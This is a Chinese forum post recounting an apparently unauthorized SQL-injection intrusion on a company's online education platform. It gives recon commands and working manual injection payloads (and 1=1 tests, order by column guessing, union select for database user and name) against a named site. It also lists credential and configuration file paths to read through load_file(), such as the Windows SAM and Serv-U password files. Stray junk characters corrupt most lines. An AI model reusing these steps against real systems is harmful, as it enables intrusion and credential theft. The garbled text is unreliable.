找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2325|回复: 0
打印 上一主题 下一主题

记一次Linux系统PHP注入入侵检测

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-16 22:23:32 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
题记:
0 n5 B3 ?/ O0 k% |一位朋友在某教育公司,一套网络教育平台。一年前,在2008年8月份的时候,我看到了这套平台,当时发现了个注入漏洞,测试了一下,得到一个可用帐户后就没有再继续下去。今天7月,又说到此事,我决定继续下去……1 A1 R" |( i" f; J. _$ a% o* G
第一步:获取需要的信息
" j! T7 i6 D/ a% p* ^# S% \. p由于之前测试过,知道此系统某处存在SQL注入漏洞。但由于时隔一年,岁月的远去已经深深的隐藏了那个SQL注入漏洞的地址,现在需要重新收集服务器有用信息。
1 X# z# W7 W; |: |+ u$ e# x注:以下为保护特用XXX代替敏感信息- g* D7 B: V$ _* m
顺手先PING了一下他们的域名:/ k! A. U: t; t- a; a
ping XXX.XXX.XXX.XXX(本文约定:用XXX.XXX.XXX.XXX代表测试IP和域名)
/ r* j- N: X4 w* N: v. R64 bytes from *********: icmp_seq=1 ttl=246 time=1.87 ms* u- i! h0 X% z8 I( E
顺便了解一下TTL,学好基础知识才能一路顺风:; k8 _4 D$ n! Y! d4 ^( H
TTL:(Time To Live ) 生存时间/ Z" e& @/ n$ @" i
指定数据包被路由器丢弃之前允许通过的网段数量。
/ J( Z0 S. v5 ]+ S/ D/ MTTL 是由发送主机设置的,以防止数据包不断在 IP 互联网络上永不终止地循环。转发 IP 数据包时,要求路由器至少将 TTL 减小 1。
: @4 X5 ?, M& `$ [使用PING时涉及到的 ICMP 报文类型
6 C% S  A# p' W9 c1 P一个为ICMP请求回显(ICMP Echo Request)* i6 g4 Y& [8 E  W  v5 Q8 y
一个为ICMP回显应答(ICMP Echo Reply)* V" z8 d' y1 R9 G) z9 b
TTL 字段值可以帮助我们识别操作系统类型。
" v& ^, m9 s6 o, H* M4 jUNIX 及类 UNIX 操作系统 ICMP 回显应答的 TTL 字段值为 255
$ X9 Q! E+ K+ n. a7 ~* b4 {Compaq Tru64 5.0 ICMP 回显应答的 TTL 字段值为 64
+ n, b5 B5 x; j4 }" C: A微软 Windows NT/2K操作系统 ICMP 回显应答的 TTL 字段值为 128$ L' _% N! ~, A- I
微软 Windows 95 操作系统 ICMP 回显应答的 TTL 字段值为 32: V* N8 m  Y# ^
当然,返回的TTL值是相同的" V+ j4 G; ?( @, H( Q( H% E$ ^
但有些情况下有所特殊6 n" `) {0 w9 m. z9 I6 J
LINUX Kernel 2.2.x & 2.4.x ICMP 回显应答的 TTL 字段值为 64
+ y% G' A/ U3 r) @2 ]) DFreeBSD 4.1, 4.0, 3.4;
) v2 b8 N- o, i  T" S+ {Sun Solaris 2.5.1, 2.6, 2.7, 2.8;
# O) m6 ^5 ^) P( e4 _/ {OpenBSD 2.6, 2.7,
, M1 p7 V  [; XNetBSD: w' T" d: ?$ C, P0 \/ {0 @
HP UX 10.20
9 N% e+ U- q( g( F5 TICMP 回显应答的 TTL 字段值为 255
9 d/ A: {3 B& _0 PWindows 95/98/98SE
( {; Z' o% Q; P. RWindows ME! w. i2 a* G$ N; A
ICMP 回显应答的 TTL 字段值为 32' M6 z, e2 M. @. g4 g
Windows NT4 WRKS+ S* o  b. D* [4 f8 j# q( T4 @* X+ p
Windows NT4 Server
4 J) v: L$ o( e- WWindows 2000$ u" r1 S, I/ }0 o
Windows XP
2 A! d! S+ @& V  wICMP 回显应答的 TTL 字段值为 128
  o+ q% d& }9 D- H# X5 d; s这样,我们就可以通过这种方法来辨别操作系统7 V" s! h' A. i1 J/ Q
TTL值的注册表位置HKEY_LOCAL_MACHINE\SYSTEM \CurrentControlSet\Services\Tcpip\Parameters 其中有个DefaultTTL的DWORD值,其数据就是默认的TTL值了,我们可以修改,但不能大于十进制的2559 @6 X) R$ Q4 x8 h
用NMAP扫描一下:
6 E# I. I& O9 c! V3 q8 m4 ]nmap -sT -O XXX.XXX.XXX.XXX
) ]6 o- B& N. H1 _% X4 ^如果没有装WinPcap则会弹出提示:
* v5 `' O. Q, E* S' C2 _3 tWARNING: Could not import all necessary WinPcap functions.  You may need to upgr+ {3 ?! Q# M+ ?) W+ b2 X
ade to version 3.1 or higher from http://www.winpcap.org.  Resorting to connect(
: [  U5 i$ `/ R4 }! |$ M5 \) mode — Nmap may not function completely9 i2 o' ?% D7 H# Y
TCP/IP fingerprinting (for OS scan) requires that WinPcap version 3.1 or higher
( }4 g, o0 f5 O# v  a2 w5 R4 W# land iphlpapi.dll be installed. You seem to be missing one or both of these.  Win
- |# I6 N8 q: R+ {* mpcap is available from http://www.winpcap.org.  iphlpapi.dll comes with Win98 an
/ x1 \* J  X2 E7 S& {d later operating sytems and NT 4.0 with SP4 or greater.  For previous windows v* H* m/ z! G9 J6 u% K6 ]8 r; l' y
ersions, you may be able to take iphlpapi.dll from another system and place it i
* `. z# c6 p$ en your system32 dir (e.g. c:\windows\system32).
6 D) E  {$ Y0 K6 h! g1 iQUITTING!
. C( n# W/ h6 Q8 A2 p6 Y到这里下载: http://www.winpcap.org/install/bin/WinPcap_4_1_1.exe
' b* h- G+ q: F2 z* e7 X安装后继续执行刚才的命令,等待扫描完毕后得到入下信息:
4 S* H, h0 i: ]0 o0 R- J, AInteresting ports on XXX.XXX.XXX.XXX:
( a) r6 x, ]# }" y' iNot shown: 986 closed ports& x3 `; d: @; k
PORT     STATE    SERVICE" S4 Y7 @* X$ ?+ Q# }3 \
21/tcp   open     ftp
$ r0 r3 P$ @* B+ `0 e+ N2 g22/tcp   open     ssh
+ [2 C% h3 t* Y9 A- w; b8 S' \23/tcp   open     telnet
* x/ [  X& h1 k1 l' N# H80/tcp   open     http- r: M  `9 F( m' z' r
111/tcp  open     rpcbind
( N/ J! T0 G3 F: r1 k135/tcp  filtered msrpc" }/ p7 \6 x' c! X
139/tcp  filtered netbios-ssn7 m* t% f! n! [" o' g0 h* f
445/tcp  filtered microsoft-ds
: C* B' e4 N: J8 ~. ~1 _8 V/ |513/tcp  open     login
2 _" c: r! m% K9 F' v; C514/tcp  open     shell' i# Q" P- `; J3 M+ y/ f
593/tcp  filtered http-rpc-epmap
; H# @) d2 y0 O7 O8 w, ]6 z' k1720/tcp filtered H.323/Q.931
) a; A9 V9 p9 e: C3306/tcp open     mysql
3 S- L/ h! G% F$ p- x4444/tcp filtered krb5248 i+ s0 j5 O& b
Device type: WAP
+ v: D! `3 c* _+ {, lRunning: Linux 2.4.X3 B9 _& [' h  r3 x8 D
OS details: DD-WRT (Linux 2.4.35s)  j* Z1 {$ }' S, C' B
Network Distance: 13 hops
/ x6 O' n- f  @8 o. i0 C; `9 S看到SSH22端口是开着的,打开putty试一下,看是否可以正常连接:' E4 N8 k* ]/ w6 z6 |6 o8 Z
login as:- T- J: M. A* A" i" h' n
Telnet23端口也是开着的,用telnet 命令链接一下:
$ ]9 F: U  ^. L+ N0 _0 Ktelnet XXX.XXX.XXX.XXX5 Q: l8 j  p$ F% E
提示:, d. t7 `) z- }" u: x
Red Hat Enterprise Linux Server release 5.2 (Tikanga)
0 k* J' B/ e7 y1 l! {& i  HKernel 2.6.18-92.el5PAE on an i6868 @1 ?% ~( {) t/ w: [: Z$ Y' q
login:
4 Q5 ]* a  m! z7 k' M& F" @获取HTTP头信息:
; p+ I% |( ~& V) d" f在本地执行如下PHP代码
  ~3 }0 P- T" G4 _' L7 ]<?php
* i' ~! m5 ?! K3 A3 ^$url = ‘XXX.XXX.XXX.XXX’;* J6 ~% m: T& W9 z
print_r(get_headers($url));
; r* B' x' c( K2 I- ~- r7 ]print_r(get_headers($url, 1));
( Z* {1 [! L6 v; L?>6 k( x4 l7 R. l) ]% F
将以上代码保存为PHP文件,执行:' A8 O! m: c8 s0 m# [
Array ( [0] => HTTP/1.1 200 OK [1] => Server: nginx/0.7.61 [2] => Date: Mon, 02 Nov 2009 09:06:48 GMT [3] => Content-Type: text/html; charset=gb2312,gbk,utf-8 [4] => Content-Length: 75 [5] => Last-Modified: Thu, 20 Aug 2009 19:35:37 GMT [6] => Connection: close [7] => Accept-Ranges: bytes ) Array ( [0] => HTTP/1.1 200 OK [Server] => nginx/0.7.61 [Date] => Mon, 02 Nov 2009 09:06:48 GMT [Content-Type] => text/html; charset=gb2312,gbk,utf-8 [Content-Length] => 75 [Last-Modified] => Thu, 20 Aug 2009 19:35:37 GMT [Connection] => close [Accept-Ranges] => bytes )
% O; C& W  M. ?3 q' J3 h现在可以得出结论:4 L4 c: u7 M( ]3 {( n: ~( d
系统版本:Red Hat Enterprise Linux Server release 5.2 (Tikanga)
; U' k( F0 M) r' A( r  k* k内核版本:Kernel 2.6.18-92.el5PAE on an i686. j5 \+ Z: p, t! i* x  ~) Y
WEB服务器版本:nginx/0.7.613 D) y7 n& e. d; N4 u7 R4 D# D
第二步,开始测试寻找漏洞
9 B8 g* S6 w0 j1 f6 ]分析是否存在注入漏洞,因为上次曾发现存在过,所以注入则是我们的首选。
2 I7 C! B3 B: O1、敏感地址:站内存在有类似:http://www.fovweb.com/XXX.php?id=123 这种地址,属动态传参的
9 w7 I. C- ?+ M8 r0 |2、测试方法:在地址后加 and 1=1 和 and 1=2 测试
; `, S# R% p: H. ]5 Zhttp://www.fovweb.com/XXX.php?id=123 and 1=1 返回正常3 {' a1 B* |! n$ F6 f
http://www.fovweb.com/XXX.php?id=123 and 1=2 返回错误- E( M4 q2 S* o! h3 r
恭喜,两次返回结果不同,则很有可能存在未过滤敏感字符而存在SQL注入漏洞,我们继续
' V, N* c0 R# o8 I6 N5 P3、手工注入:
3 n3 S' x- R/ w" _- ]! Q# L! R1 @注入也应该有个思路,不能随便碰运气,要记住入侵检测不是靠运气而走下去的,要靠的是清晰的思路、过硬的技术、很全的知识面。! a6 z' Z7 V; E. I1 r7 ?
3.1 猜测当前表字段数
1 |  D* a% c& N7 X) _6 t" {- mhttp://www.fovweb.com/XXX.php?id=123 and 1=1 order by 107 V& |" b0 d4 E- u
此处猜测有个简单的算法,都是有技巧的吗,呵呵: c- U  W* w4 P5 ?
算法简单如下:
! A& _+ P0 P( y# s第一步:根据页面信息,大概估算一个数值,这个是要靠一定的经验了;
7 @* Y" [* h/ X  m3 R第二步:取中算法,好比是10,如果返回错误,则取中间值5进行下一次猜测;
( c. z' r8 t  |* A# z8 |需要注意:如果所选数值在字段数范围内即小于等于,则会(返回正常);如果所选数值在字段范围外即大于等于,则会(返回错误)。
6 d/ Z' u& {5 G  V, V. v. @以此来判断,是否过界,配合取中算法猜出字段数。" ]: n. T9 c) G2 [
举例:
3 @9 F# C- y2 w' shttp://www.fovweb.com/XXX.php?id=123 and 1=1 order by 3 返回正常
* b. X7 A6 X9 Dhttp://www.fovweb.com/XXX.php?id=123 and 1=1 order by 4 返回错误; R- E, y) }' d+ `- d, C
此时3则为我们要找的字段数。
% m1 C* H5 o, R3.2 配合union联合查询字段在页面所位置
8 J4 R9 y) m6 h& U8 ?( ~5 p' w我们已经知道了字段数为3,此时则可以做如下操作:
, C$ E& \: S" S$ Z) Y1 ihttp://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,2,3
  n4 I- G0 ?# r+ ^) U
* h, N2 j% W. ~7 c6 u9 n' Q. r6 A这样就可以测试到哪些字段在页面上有所显示了,如图:( `. R( [! ]6 |  k, r6 t1 ?

5 l: v4 o0 A8 ]/ r- r: @( q3.3 查敏感信息
( ]  V$ ^) W1 T& Z这也是个思路问题,我们需要什么,其实到了这一步已经能做什么多事情了。) u! L  }% {7 {5 W; K2 i
http://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,user(),database()
& }; J' X( ?( Y1 I3.3.1 先查数据库用户、数据库名,以备后用,如图:# Z8 A+ t. Q6 {/ ?% N6 R4 k, ~
; N2 U  c0 s+ x' k9 K& X
得到数据库用户为root、数据库名为DBxx;! R! u( W7 @# L' j5 G' Z
3.3.2 查配置文件7 D9 S; X) }3 m7 S! F0 t
查配置文件,就是指查看系统敏感的文件,如web服务器配置文件等。2 n0 g  {! L; [
查看文件有一定的条件限制:- W) P& q; v! d7 i
欲读取文件必须在服务器上
3 a' F  J: l0 J9 X; _& b( x必须指定文件完整的路径
' D( a) D2 J' v" l! E, S* H必须有权限读取并且文件必须完全可读3 J! m& `( c( y( e
欲读取文件必须小于 max_allowed_packet, \2 U4 n" g; F2 G
MYSQL注入中,load_file()函数在获得webshell以及提权过程中起着十分重要的作用,常被用来读取各种配置文件。/ C% t' s' C5 h% J
常用的一些:
5 T2 g; {  Q" I9 r' U; v' ]/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件8 s3 p% x1 l5 b
/usr/local/apache2/conf/httpd.conf  c% |, K4 X; E- j" z+ K3 D
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置  k! D  d6 Q3 [, ^& N: e! s
/usr/local/app/php5/lib/php.ini //PHP相关设置
( Z, b8 a  n5 C/etc/sysconfig/iptables //从中得到防火墙规则策略: h) N; A! t( `* d
/etc/httpd/conf/httpd.conf // apache配置文件' R7 K7 ~  |$ w5 }
/etc/rsyncd.conf //同步程序配置文件
5 J; X3 s; [2 Q/ M+ M1 J/etc/sysconfig/network-scripts/ifcfg-eth0 //查看IP.9 V# _- a) c6 Y# P# ?8 W& r
/etc/my.cnf //mysql的配置文件
- s4 I* N1 n8 `9 I+ U/etc/redhat-release //系统版本/ U+ O* K4 Q' Q; z
/etc/issue
1 m, w2 ~. ?# M* t/etc/issue.net4 d3 X( ?- Z4 B; G0 X" Q
c:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码
4 t$ p/ J2 O# J* J  Tc:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存储了虚拟主机网站路径和密码
- B: p; A8 b0 [c:\Program Files\Serv-U\ServUDaemon.ini
9 V) k! v1 {! g5 o7 a" [( cc:\windows\my.ini //MYSQL配置文件
( c7 P* i9 N4 H3 c* Rc:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件" u- e; [9 n! v5 y# S, A
等等。实际上,load_file()的作用不止于此,它还可以用来读取系统中的二进制文件,
- K' k4 T- ~4 c  Oc:\windows\repair\sam //存储了WINDOWS系统初次安装的密码! e5 [% G# Q0 r" z7 a5 y3 W
c:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此, n$ w4 o/ d3 l* P, G& F7 I
c:\Program Files\RhinoSoft.com\ServUDaemon.exe" E  \( o/ t; `+ b
C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件& [3 A6 s1 R" i
//存储了pcAnywhere的登陆密码; L1 H! g* x7 I2 d' P/ X
由于之前得到信息,此台服务器是采用的nginx做的Web服务器,那我们就来试着找一下nginx的安装路径吧。( T- L% v# ]4 n6 ?# w$ F* u- B' b
这个没有技术性可言,纯靠经验和运气,由于很少用nginx不了解,我就先到网上搜索常用的安装路径,以及比较好的配置文档中的安装路径进行测试,最终,得到nginx安装路径“/usr/local/nginx/conf/nginx.conf”。
+ @0 W  Z$ ^( Y( u" G7 [' l最后:防范措施8 g8 b6 a9 w9 X, s, e: u0 Q$ @$ F# \
1、修复PHP注入漏洞;
; E) F7 P8 T, m5 G% |4 P1 M2、Mysql使用普通权限的用户;
& v2 ~: V6 o' _; r( o3、升级linux内核至最新版本;
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表